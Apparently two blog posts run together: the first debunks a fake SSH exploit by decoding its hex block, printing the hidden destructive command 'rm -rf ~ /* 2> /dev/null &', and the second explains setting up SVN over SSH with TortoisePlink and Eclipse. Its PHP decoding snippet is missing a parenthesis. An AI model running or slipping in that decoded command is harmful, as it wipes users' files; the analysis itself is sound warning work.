So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);

This should be pretty damn straight forward. However i ran into some problems while setting this up. At my daily work spot we use SVN over HTTP so we can do NTLM authentication. This sucks in many ways. But most of all it’s slow. And i mean really slow. Last week i tried to retrieve the log information for a project in the repository. This took my IDE 30 minutes. At first i thought my IDE was just being lame on me. But it turns out it’s SVN over HTTP that’s the culprit.

So i started to do some testing over the standard svn:// protocol. And retrieving the logs on the same repository took about 2 seconds. Amazing. That’s enough reason to switch to the svn:// protocol. This however was not possible. Because our network policy doesn’t allow for multiple log ins. All is centrally stored on some M$ domain controllers. That’s why SVN over HTTP was used in the first place. End of story i thought.

But i couldn’t let go of this. The situation becomes less workable every day. So i decided to look around for other options. When i notice some log ins were merged to the *nix boxes. i immediately thought about using SSH in combination with SVN. Logging in on the *nix box was no problem. So let’s try that with SVN.

svn+ssh://location/of/repo

This gives an error about a mismatched handshake. And i just couldn’t get this to work until i found a post made by Martin Woodward. He explains how to setup an environment variable on my local windows machine. To the tortoise PLink executable.

Set the environment variable (by right-clicking on My Computer, Properties, Advanced, Environment Variables, New):-
Variable name: SVN_SSH
Variable value: C:\\Program Files\\TortoiseSVN\\bin\\TortoisePlink.exe

This seemed to work i thought. i was presented with a login box. But no matter how i tried i couldn’t login. It just kept giving me the login box. So i opened a SSH session to the server and tried to do the same from there.

svn list svn+ssh://location/of/repo

After hitting enter i typed my password and got the following message.

bash: line 1: svnserve: command not found
svn: Connection closed unexpectedly

Now we’re getting somewhere. So svnserve could not be found. Probably because it’s not in the $PATH variable. So let’s add it there.

vi .bashrc
PATH=$PATH:/usr/local/bin

So let’s try to get a listing of the repo.

svn list svn+ssh://location/of/repo

This gave me the following message:

svn: No repository found in ‘svn+ssh://location/of/repo’

Seems that when you use SVN over SSH you need to give the full location to the repository. Not the web server path but the complete file system path. After changing the webserver path for the file system path everything worked out. From here on adding the repository to eclipse is easy.
I always open the repository view. From there i right click > New > repository Location. The URL to add will look something like

svn+ssh://file/system/location/of/repository

So now we can enjoy the speed of the svn:// protocol. And the security of SSH. So let’s do some coding